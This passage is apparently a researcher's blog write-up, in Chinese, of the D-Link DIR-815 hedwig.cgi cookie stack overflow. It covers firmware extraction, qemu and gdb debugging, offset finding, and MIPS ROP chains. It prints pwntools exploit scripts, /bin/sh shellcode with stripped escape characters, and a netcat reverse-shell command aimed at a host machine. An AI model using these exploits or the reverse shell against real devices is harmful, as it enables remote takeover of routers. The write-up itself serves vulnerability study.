00-前言
之前跟着《揭秘家用路由器0day漏洞挖掘技术》调试分析过该漏洞,主要是从qemu用户模式进行分析调试,并没有getshell,在参考了其他师傅的分析文章和帖子后,这次分析增加了qemu系统模式调试,Firmadyne仿真测试以及实体机测试,虽然这次的用户模式还是没能getshell(发这个帖子还是希望有经验的师傅帮忙分析下问题所在),但是其他三种方式都能成功。
01-漏洞介绍
Buffer overflow on “hedwig.cgi”
Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.
从漏洞公告中可以看出,该漏洞存在于名为“hedwig.cgi”的CGI脚本中,未认证攻击者通过调用这个CGI脚本传递一个超长的Cookie值,使得程序栈溢出,从而获得路由器的远程控制权限。
02-调试环境
- ubuntu16.04 x64虚拟机:安装了常用的pwn环境,binwalk等工具用于路由器固件调试分析
- IDA6.8:静态分析同时安装mipsrop插件寻找rop链,与gdb进行动态调试
- Ghidra:反汇编反编译mips架构程序,目前只用于静态分析
- qemu2.5:利用qemu的用户和系统模式运行固件
- gdbserver:利用大佬已经编译好的gdbserver,也可以自己编译生成
- Firmadyne:全系统仿真工具,模拟运行路由器固件,本质还是基于qemu的系统模式
- D-Link DIR-815 v1.01路由器实体机:用于测试分析结果
- 固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
03-漏洞定位
binwalk -Me
解压
该漏洞的核心组件为hedwig.cgi,find . -name '*cgi'
查找文件,并ls -l ./htdocs/web/hedwig.cgi
发现hedwig.cgi是指向./htdocs/cgibin的符号链接,也就是说真正的漏洞代码在cgibin中。
由之前的漏洞介绍可以知道HTTP_COOKIE
过长导致漏洞,分别用IDA和ghidra打开cgibin这个文件,在string窗口中进行搜索HTTP_COOKIE
,并交叉引用。
可以找到有一个sess_get_uid
函数,这个帖子分析了这个函数,就是提取HTTP_COOKIE
里面的uid=
之后的部分。交叉引用一下,找到了hedwigcgi_main
函数。
利用Ghidra反汇编hedwigcgi_main
函数,可以定位到其中的sprintf
函数引起了栈溢出。hedwigcgi_main
函数通过sess_get_uid()
获取到HTTP_COOKIE
中uid=
之后的值,并将该内容按照sprintf
函数中格式化字符串给定的形式拷贝到栈中,由于没有检测并限制输入的大小,导致栈溢出。
但是继续往后看该函数中后面还有一个sprintf
函数,第四个参数同样是HTTP_COOKIE
中uid=
后面的内容,如果可以执行到该sprintf
函数则能覆盖之前sprintf
函数栈上的内容,同样能够达到缓冲区溢出的目的。
在《揭秘家用路由器0day漏洞挖掘技术》一书中写到,如果在文件系统中手工创建/var/tmp
文件夹,就能够到达第二个sprintf
函数。我对比了下有无/var/tmp
文件夹的返回结果:
无/var/tmp
,返回unable to open temp file。
有/var/tmp
,返回no xml data。
想着往里面写个/temp.xml文件并添加内容就可以了吧,结果发现还是返回no xml data。因为fopen打开该文件的方式是’w’,创建一个用于写入的空文件。如果文件名称与已存在的文件相同,则会删除已有文件的内容,文件被视为一个新的空文件。所以只要执行了这条指令文件内容就会被清空,返回值一定是no xml data
,所以利用qemu用户模式这样调试的话,是到不了第二个sprintf
函数。
所以漏洞点是第一个sprintf
函数,挺多帖子也是分析得到第一个sprintf
函数是漏洞点。其实是第一个还是第二个对于用户模式下的调试并没有多大关系,就是偏移不一样罢了,构造rop链方法都是一样的。但是对于真实设备而言,就要找到真正的漏洞点在哪。
3-1漏洞重新定位
爆肝一晚,参考一个大佬的文章,发现了为什么到达不了第二个sprintf的原因。
还需要POST数据包中包含”uid=……”,否则运行不了下面的代码,
.text:00409AB0 la $t9, sobj_strdup
.text:00409AB4 lw $a0, 4($s0)
.text:00409AB8 jalr $t9 ; sobj_strdup
.text:00409ABC nop
.text:00409AC0 lw $ra, 0x20+var_4($sp)
.text:00409AC4 lui $v1, 0x43 # 'C'
.text:00409AC8 lw $gp, 0x20+var_10($sp)
.text:00409ACC lw $s0, 0x20+var_8($sp)
.text:00409AD0 sw $v0, haystack
.text:00409AD4 jr $ra
.text:00409AD8 addiu $sp, 0x20
从而无法申请一个新的堆空间,这样haystack中值将为0,在运行完第一个sprinf之后会进入loc_4096D4,如果haystack为0将则不会进入loc_4096F0分支,进而跳转不了第二个sprintf()。
.text:004096D4 loc_4096D4: # CODE XREF: hedwigcgi_main+240j
.text:004096D4 lw $v0, haystack
.text:004096DC nop
.text:004096E0 bnez $v0, loc_4096F0
.text:004096E4 lui $v0, 0x42 # 'B'
.text:004096E8 b loc_409A64
.text:004096EC addiu $a1, $v0, (aNoXmlData_ - 0x420000) # "no xml data."
如何使POST数据包中包含”uid=……”,看了大佬们的文章(参考资料里面)还有《0day》那本书中的测试脚本发现,POST具体数据可以通过类似输入流传入 :echo “uid=aaa”| /htdocs/web/hedwig.cgi。然后前提也是需要手工创建’/var/tmp’文件夹。
04-漏洞分析与利用
4.1-漏洞分析
hedwigcgi_main()在调用get_sess_uid函数前需要设置环境变量REQUEST_METHOD为POST。
cgi程序通过getenv的方式获取HTTP数据包中的数据,整个流程应该为:
主Web程序监听端口->传送HTTP数据包->HTTP报文中headers等数据通过环境变量的方式传给cgi处理程序->cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据
漏洞点sprintf函数
sprintf(栈上的内容,”%s/%s/postxml”,”/runtime/session”,uid的内容)uid的内容是由用户控制的,却没有长度限制,而栈空间有限,hedwigcgi_main同时是一个非叶子函数,那么ra一定存在栈上,我们接下来要做的就是覆盖栈空间内的saved ra达到控制程序流程的目的。
4.2-漏洞利用
整个漏洞利用过程是
- 劫持PC,通过调试确定缓冲区大小,定位并确定控制偏移
- 确定攻击路径,构造ROP链
- 编写exp,getshell
利用qemu和IDA进行动态调试,用的是(IDA6.8,qemu2.5)
调试脚本test.sh,其中需要sudo chroot 到文件系统下,然后利用qemu-mipsel-static用户模式进行调试,-E是对应环境变量的参数。-g 指定调试端口,“2> /dev/null” 代表忽略掉错误提示信息。
#/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="23957"
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu
在这之前需要利用patternLocOffset.py生成test文件,包含特定格式的2000个字符串。
python patternLocOffset.py -c -l 2000 -f test
使用IDA调试发现运行到hedwigcgi_main()返回时ra寄存器中的值为0x38694237
python patternLocOffset.py -s 0x38694237 -l 2000
确定缓冲区距离ra的距离为1043。
可以通过修改test.sh中的test =$(python -c "print 'uid=' + 'A'*1043 + 'B'*4")
进一步确定偏移为1043。
以上是触发第一个sprintf()的偏移。
更改test.sh,在脚本中加入echo “uid=xxx”。
#!/bin/bash
#sudo ./test.sh "uid=1234" `python -c "print 'uid=' + open('content','r').read()"`
INPUT="$1"
COOKIE="$2"
PORT="23957"
LEN=$(echo -n "$INPUT" | wc -c)
cp $(which qemu-mipsel-static) ./qemu
echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
rm -f ./qemu
执行命令
sudo ./test.sh "uid=1234" `python -c "print 'uid=' + open('content','r').read()"`
调试之后发现确实能够触发第二个sprintf()。
并且覆盖了ra=68423668。
计算得到偏移为1009。
主要目的是调用system(‘/bin/sh’)来getshell,system函数在libc.so中找,参数’/bin/sh’首先放入栈中,然后利用gadget将栈上的’/bin/sh’传入a0寄存器,再调用system函数即可。
1.定位system函数地址
首先需要先找到调用了哪个动态链接库libc.so,然后在libc.so中定位system函数。
通过以下过程:
gdb-multiarch htdocs/cgibin #一定要加载文件htdocs/cgibin不然vmmap得不到结果
set architecture mips
target remote :23957
b *0x409A54 #hedwigcgi_main()函数返回jr ra处
c
vmmap
为了以后不用每次都输入固定的指令可以编写一个dbgscript
set architecture mips
set endian little
target remote :23957
b *0x409a54
gdb-multiarch调试的时候执行gdb-multiarch htdocs/cgibin -x dbgscript
,-x是指定要执行的命令文件。
得到libuClibc-0.9.30.1.so的基地址为0x76738000。
在/lib文件夹下找到libuClibc-0.9.30.1.so用IDA打开,system函数在0x53200处。
这样就得到了system函数的真实地址0x76738000+0x53200=0x7678b200。
2.绕过坏字符x00构造rop链
因为system函数的最低位为x00,在构造HTTP_COOKIE的时候x00会被sprintf截断,其实还到不了sprintf函数,前面的sess_get_uid函数只获取uid=之后x00字符之前的字符串,进而导致缓冲区溢出失败。所以构造shellcode时需要对system函数的真实地址-1:0x7678b200-1=0x7678b1ff,再寻找gadget将其加1即可。
有了system函数,接下来考虑如何将system函数的第一个参数从栈中拷贝到寄存器a0中,在libuClibc-0.9.30.1.so利用mipsrop插件中的mipsrop.stackfinder()
命令查找能将栈中数据放入寄存器的gadget。在0x159cc处发现可将当前栈$sp+0x10处的值存入寄存器s5并跳转至s0。并且在跳转之前将$s5的内容给到$a0,$a0=$(sp+0x10),这样system函数的第一个参数就能从栈中得到了。
继续在libuClibc-0.9.30.1.so中寻找能够将system函数地址+1的gadget,使用mipsrop插件,mipsrop.find("addiu .*,1")
得到31个gadget,找到0x00045988处,这个gadget的作用是将寄存器s0中的值加一,并跳转至s1寄存器中,所以需要将system函数地址减一之后放入s0寄存器中。并将获取第一个参数a0的gadget0x159cc放入s1寄存器中。
到这里我们需要的gadget就找好,由IDA中的汇编代码可以看出我们可以控制数据覆盖ra,fp,s7~s0寄存器。
所以可以这样构造payload,结构大致如下:
这里参考下H4lo师傅的整个流程图:
3.构造的exp如下:
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x76738000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
padding = 'A' * 0x3cd
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += '/bin//sh'
f = open("exploit",'wb+')
f.write(padding)
f.close()
4.测试exp
执行命令:
sudo ./test.sh 'uid=1234' `python -c "print 'uid=' + open('exploit','r').read()"`
使用gdb-multiarch联调发现,确实能够跳转到gadget1处(0x76738000+0x45988=0x7677d988),将s0处的system-1地址加一。
之后顺利进入gadget1处(0x76738000+0x159cc=0x7674d9cc)处,将栈上内容(sp+0x10)先加载到s5,并在跳转s0前将s5中内容传给a0。
进入system处,a0参数为/bin//sh。
继续往下执行,发现执行完system函数返回时被中断了,因为当前指令是从(fp+0x10)处取一个字节给$gp,而当前$fp的内容为0x0空指针,(fp+0x10处)肯定无法访问。
但是在整个rop链运行过程中并没有出现给$fp赋值的操作,所以这块为什么$fp会变成0,变成空指针。这是一个问题,需要解决,应该是还是构造的rop链执行system函数的过程中出现了问题。
接下来考虑利用另一种方式通过调用sleep(1)函数来getshell,至于为什么利用sleep(1)函数呢,参考这篇文章,里面有讲到一个问题就是cache incoherency。MIPS CPUs有两个独立的cache:指令cache和数据cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发flush,将数据写回到主内存。攻击者的攻击payload通常会被应用当做数据来处理,存储在数据缓存中。当payload触发漏洞,劫持程序执行流程的时候,会去执行内存中的shellcode。如果数据缓存没有触发flush的话,shellcode依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储shellcode的地址处随机的代码,导致不可预知的后果。
最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如sleep(1)或者其他类似的函数。sleep的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行flush。
整个ROP的调用流程参考H4lo师傅的图。
1.ROP Gadget 1
利用mipsrop.find("li $a0,1")
寻找到0x57E50,该gadget返回时跳转至s1寄存器中地址。
可以将ra处覆盖为ra=gadget1=0x57E50+libc_base
。之后寻找第二个gadget2将其放入s1,这里不能直接将sleep函数放入s1中,因为sleep函数运行完jr $ra时,我们控制不了,所以接下来应该是寻找能够控制$ra的gadget2.
2.ROP Gadget 2
利用mipsrop插件中的mipsrop.tail()
该函数作用是Prints a lits of all tail call gadgets (useful for function calls).
打印出所有函数尾部调用的gadget,这些gadget对函数调用很有效。因为非叶子函数尾部一般是将栈中值返回给寄存器然后再跳转。
选择0x3B8A8作为gadget2。
该gadget的作用是将栈上(sp+0x24)处的内容给到寄存器ra,然后再跳转至s2寄存器中,所以s2寄存器就可以放我们需要的sleep函数的地址。这样的话s1=gadget2=0x3B8A8+libc_base
,s2 = sleep+libc_base
。
sleep函数在libuClibc-0.9.30.1.so的偏移为0x56BD0。
3.ROP Gadget 3
执行完sleep函数之后需要控制程序执行栈上shellcode,这里需要用到mipsrop插件的mipsrop.stackfinder()
,将栈上的shellcode地址存储进寄存器中。
找到0x14F28处的gadget3,所以$(sp+0x24)=gadget3
,gadget3的作用是将sp+0x18处的值赋给s1,之后跳转到s4寄存器中的地址。
所以接下来我们需要的gadget4是’move $t9,$s1’,跳转到是s1也就是我们的shellcode。
4.ROP Gadget 4
利用mipsrop.find("move $t9,$s1")
找到一下gadget。
这里选择0x1DD08作为gadget4,s4=gadget4=0x1DD08+libc_base
。因为其他的gadget可能导致最后出现坏字符,比如我试了0xBB44,结果真实地址为0xBB44+0x76738000=0x76743b44,然而3b在sess_get_uid的时候就被截断了,所以导致rop没有构造成功。
到这里所有的gadget都找齐了。
5.构造exp
整个payload是这样的:
这里顺便提下构造exp时有可能的坏字符:0x20(空格)、0x00(结束符)、0x3a(冒号)、0x3f(问号)、0x3b(分号)、0x0a(n换行符)等。具体还要看程序如何处理以及转义。
libc_base = 0x76738000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08
# Linux/MIPS - execve /bin/sh - 48 bytes
shellcode = "xffxffx06x28" # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c" # lui $t7, 0x6962
shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode += "x73x68x0ex3c" # lui $t6, 0x6873
shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28" # slti $a1, $zero, -1
shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01" # syscall 0x40404
payload = 'A' * 0x3cd
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
调试结果显示能够进入到Shellcode去执行。
但是之后一直出不去,获取不到shell。
所以到目前为止,利用qemu用户模式还没有成功获取shell!!!
05-qemu系统模式
我们这里主要是为了在qemu虚拟机中重现http服务。通过查看文件系统中的/bin、/sbin、/usr/bin、/usr/sbin
可以知道/sbin/httpd
应该是用于监听web端口的http服务,同时查看/htdocs/web
文件夹下的cgi文件和php文件,可以了解到接受到的数据通过php+cgi来处理并返回客户端。
5.1-环境配置
find ./ -name '*http*'
找到web配置文件httpcfg.php。
./etc/services/HTTP/httpcfg.php
./etc/services/HTTP/httpsvcs.php
./usr/sbin/httpc
./sbin/httpd
查看httpcf.php
Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
<?
include "/htdocs/phplib/phyinf.php";
function http_server($sname, $uid, $ifname, $af, $ipaddr, $port, $hnap, $widget, $smart404)
{
echo
"Server". "n".
"{". "n".
" ServerName "".$sname.""". "n".
" ServerId "".$uid.""". "n".
" Family ".$af. "n".
" Interface ".$ifname. "n".
" Address ".$ipaddr. "n".
" Port ".$port. "n".
" Virtual". "n".
" {". "n".
" AnyHost". "n".
" Control". "n".
" {". "n".
" Alias /". "n".
" Location /htdocs/web". "n".
" IndexNames { index.php }". "n";
if ($uid=="LAN-1"||$uid=="WAN-1") echo
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { txt }". "n".
" }". "n";
if ($widget > 0) echo
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { router_info.xml }"."n".
" /usr/sbin/phpcgi { post_login.xml }"."n".
" }". "n";
echo
" }". "n";
if ($smart404 != "")
{
echo
' Control'. 'n'.
' {'. 'n'.
' Alias /smart404'. 'n'.
' Location /htdocs/smart404'. 'n'.
' }'. 'n';
}
if ($hnap > 0)
{
echo
" Control". "n".
" {". "n".
" Alias /HNAP1". "n".
" Location /htdocs/HNAP1". "n".
" External". "n".
" {". "n".
" /usr/sbin/hnap { hnap }". "n".
" }". "n".
" IndexNames { index.hnap }". "n".
" }". "n";
}
echo
" }". "n".
"}". "n";
}
function ssdp_server($sname, $uid, $ifname, $af, $ipaddr)
{
if ($af=="inet6") return;
echo
"Server". "n".
"{". "n".
" ServerName "".$sname.""". "n".
" ServerId "".$uid.""". "n".
" Family ".$af. "n".
" Interface ".$ifname. "n".
" Port 1900". "n".
" Address 239.255.255.250". "n".
" Datagrams On". "n".
" Virtual". "n".
" {". "n".
" AnyHost". "n".
" Control". "n".
" {". "n".
" Alias /". "n".
" Location /htdocs/upnp/docs/".$uid."n".
" External". "n".
" {". "n".
" /htdocs/upnp/ssdpcgi { * }"."n".
" }". "n".
" }". "n".
" }". "n".
"}". "n".
"n";
}
function upnp_server($sname, $uid, $ifname, $af, $ipaddr, $port)
{
if ($af=="inet6") return;
echo
"Server". "n".
"{". "n".
" ServerName "".$sname.""". "n".
" ServerId "".$uid.""". "n".
" Family ".$af. "n".
" Interface ".$ifname. "n".
" Address ".$ipaddr. "n".
" Port ".$port. "n".
" Virtual". "n".
" {". "n".
" AnyHost". "n".
" Control". "n".
" {". "n".
" Alias /". "n".
" Location /htdocs/upnp/docs/".$uid."n".
" }". "n".
" }". "n".
"}". "n".
"n";
}
foreach("/runtime/services/http/server")
{
$model = query("/runtime/device/modelname");
$ver = query("/runtime/device/firmwareversion");
$smart404 = query("/runtime/smart404");
$sname = "Linux, HTTP/1.1, ".$model." Ver ".$ver; /* HTTP server name */
$suname = "Linux, UPnP/1.0, ".$model." Ver ".$ver; /* UPnP server name */
$mode = query("mode");
$inf = query("inf");
$ifname = query("ifname");
$ipaddr = query("ipaddr");
$port = query("port");
$hnap = query("hnap");
$widget = query("widget");
$af = query("af");
if ($af!="" && $ifname!="")
{
if ($mode=="HTTP") http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404);
else if ($mode=="SSDP") ssdp_server($sname, $inf,$ifname,$af,$ipaddr);
else if ($mode=="UPNP") upnp_server($suname,$inf,$ifname,$af,$ipaddr,$port);
}
}
?>
可以了解到该php用于生成配置文件,由于我们只需要其中的http服务,可以按照该配置文件改写我们所需的conf。
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu虚拟机的网卡
Address 192.168.79.143 #对于qemu虚拟机IP
Port "1234" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
接下来利用qemu系统模式仿真路由器的运行环境,具体的配置过程在文章路由器漏洞挖掘环境搭建的qemu网络配置中有提到。
利用下面命令启动,接下来的实验是一次性实验,因为会覆盖qemu虚拟机原本文件系统中的/etc等文件夹从而损坏原有配置,所以无法第二次启动。
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
测试能ping通的情况下,将文件系统利用scp命令拷贝到mipsel虚拟机中。
sudo scp -r squashfs-root root@192.168.79.143:/root/
之后编写copy.sh脚本配置启动http服务需要的环境包括动态链接库,以及conf配置文件中提到的/usr/sbin/phpcgi
,/usr/sbin/hnap
。
copy.sh,需要进入squashfs-root目录使用,脚本最后启动了http服务。
#!/bin/bash
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf
之后可以在浏览器访问conf文件中配置的192.168.79.143:1234/hedwig.cgi
或者在宿主机中使用以下命令:其中-v显示详细信息,-X指定什么指令,-H 自定义头信息传递给服务器,-b 指定cookie字符串。
#curl http://192.168.79.143:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b "uid=zh"
* Trying 192.168.79.143...
* Connected to 192.168.79.143 (192.168.79.143) port 1234 (#0)
> POST /hedwig.cgi HTTP/1.1
> Host: 192.168.79.143:1234
> User-Agent: curl/7.47.0
> Accept: */*
> Cookie: uid=zh
> Content-Length: 8
>
< HTTP/1.1 200 OK
< Server: Linux, HTTP/1.1,
< Date: Sun, 24 May 2020 01:00:46 GMT
< Transfer-Encoding: chunked
< Content-Type: text/xml
<
* Connection #0 to host 192.168.79.143 left intact
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>%
然后在mips虚拟机查看log文件:
root@debian-mipsel:~/squashfs-root# cat /log
Sun May 24 00:58:11 2020 [1109] *** Mathopd/1.6b9 starting
Sun May 24 00:58:20 2020 [1109] process_headers: method[GET], nheaders=[6], URL[/]
Sun May 24 00:58:43 2020 [1109] process_headers: method[GET], nheaders=[6], URL[/hedwig.cgi]
Sun May 24 00:58:43 2020 [1109] child process 1111 exited with status 255
Sun May 24 00:59:43 2020 [1109] script timeout to 192.168.79.145[52472]
Sun May 24 01:00:46 2020 [1109] process_headers: method[POST], nheaders=[4], URL[/hedwig.cgi]
Sun May 24 01:00:46 2020 [1109] child process 1112 exited with status 255
到这里可以看到我们需要的web服务器以及启动了。
5.2-gdbbserver调试
接下来尝试调试/htdocs/web/hedwig.cgi
文件
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<hedwig><result>FAILED</result><message>no REQUEST</message></hedwig>root@debian-mipsel:~/squashfs-root#
返回no REQUEST,查看IDA静态反汇编得知没有指定环境变量REQUEST_METHOD
的值。所以想要触发漏洞进行调试的话,还是需要通过export 设置相关环境变量。
root@debian-mipsel:~/squashfs-root# export CONTENT_LENGTH="100"
root@debian-mipsel:~/squashfs-root# export CONTENT_TYPE="application/x-www-form-urlencoded"
root@debian-mipsel:~/squashfs-root# export REQUEST_METHOD="POST"
root@debian-mipsel:~/squashfs-root# export REQUEST_URI="/hedwig.cgi"
root@debian-mipsel:~/squashfs-root# export HTTP_COOKIE="uid=1234"
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
#之前分析过因为没有post数据
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>
root@debian-mipsel:~/squashfs-root#
使用echo 'uid=1234'| /htdocs/web/hedwig.cgi
运行成功。
root@debian-mipsel:~/squashfs-root# echo 'uid=1234'| /htdocs/web/hedwig.cgi
root@debian-mipsel:~/squashfs-root#
接下来动态调试确定偏移但是在那之前需要关掉地址随机化,因为qemu的虚拟机内核开启了地址随机化,每次堆的地址都在变化,导致libc的基地址也不断在变,所以需要关闭地址随机化。
echo 0 > /proc/sys/kernel/randomize_va_space
可以编写以下脚本进行动态调试
debug.sh,gdbsever 192.168.79.145是宿主机IP,6666是qemu监听端口。
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="`cat content`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|./gdbserver.mipsel 192.168.79.145:6666 /htdocs/web/hedwig.cgi
宿主机gdb调试
gdb-multiarch htdocs/cgibin
set architecture mips
target remote 192.168.79.143:6666 #对应qemu地址和端口
c
得到溢出地址是0x68423668,利用脚本计算偏移为1009
#./patternLocOffset.py -s 0x68423668 -l 2000
[*] Create pattern string contains 2000 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 1009 (adjusted another-endian)
[+] take time: 0.0007 s
接下来是确定libc的基地址,需要先把环境变量配置好,不然/htdocs/web/hedwig.cgi很快就执行完,进程立马就结束了,就得不到maps。
利用/htdocs/web/hedwig.cgi & cat /proc/pid/maps ,a&b 先执行a,在执行b,无论a成功与否都会执行b。因为关闭了地址随机化,libc.so.0的基地址就是0x77f34000。这里的libc.so.0是指向libuClibc-0.9.30.1.so。所以libuClibc-0.9.30.1.so基地址为0x77f34000。
root@debian-mipsel:~/squashfs-root# export CONTENT_LENGTH="100"
root@debian-mipsel:~/squashfs-root# export CONTENT_TYPE="application/x-www-form-urlencoded"
root@debian-mipsel:~/squashfs-root# export HTTP_COOKIE="uid=1234"
root@debian-mipsel:~/squashfs-root# export REQUEST_METHOD="POST"
root@debian-mipsel:~/squashfs-root# export REQUEST_URI="/hedwig.cgi"
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/pid/maps
[10] 1052
cat: /proc/pid/maps: No such file or directory
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/pid/maps
[11] 1054
cat: /proc/pid/maps: No such file or directory
[10]+ Stopped /htdocs/web/hedwig.cgi
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/1056/maps
[12] 1056
00400000-0041c000 r-xp 00000000 08:01 32694 /htdocs/cgibin
0042c000-0042d000 rw-p 0001c000 08:01 32694 /htdocs/cgibin
0042d000-0042f000 rwxp 00000000 00:00 0 [heap]
77f34000-77f92000 r-xp 00000000 08:01 547906 /lib/libc.so.0
77f92000-77fa1000 ---p 00000000 00:00 0
77fa1000-77fa2000 r--p 0005d000 08:01 547906 /lib/libc.so.0
77fa2000-77fa3000 rw-p 0005e000 08:01 547906 /lib/libc.so.0
77fa3000-77fa8000 rw-p 00000000 00:00 0
77fa8000-77fd1000 r-xp 00000000 08:01 546761 /lib/libgcc_s.so.1
77fd1000-77fe1000 ---p 00000000 00:00 0
77fe1000-77fe2000 rw-p 00029000 08:01 546761 /lib/libgcc_s.so.1
77fe2000-77fe7000 r-xp 00000000 08:01 547907 /lib/ld-uClibc.so.0
77ff5000-77ff6000 rw-p 00000000 00:00 0
77ff6000-77ff7000 r--p 00004000 08:01 547907 /lib/ld-uClibc.so.0
77ff7000-77ff8000 rw-p 00005000 08:01 547907 /lib/ld-uClibc.so.0
7ffd6000-7fff7000 rwxp 00000000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
[11]+ Stopped /htdocs/web/hedwig.cgi
root@debian-mipsel:~/squashfs-root#
5.3-编写exp
上面既然用了两种方法:system和sleep(1),那么下面也使用这两种。
system方法:将上面的exp的libc基地址和偏移改掉然后cmd换成nc -e /bin/bash 192.168.79.145 9999
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
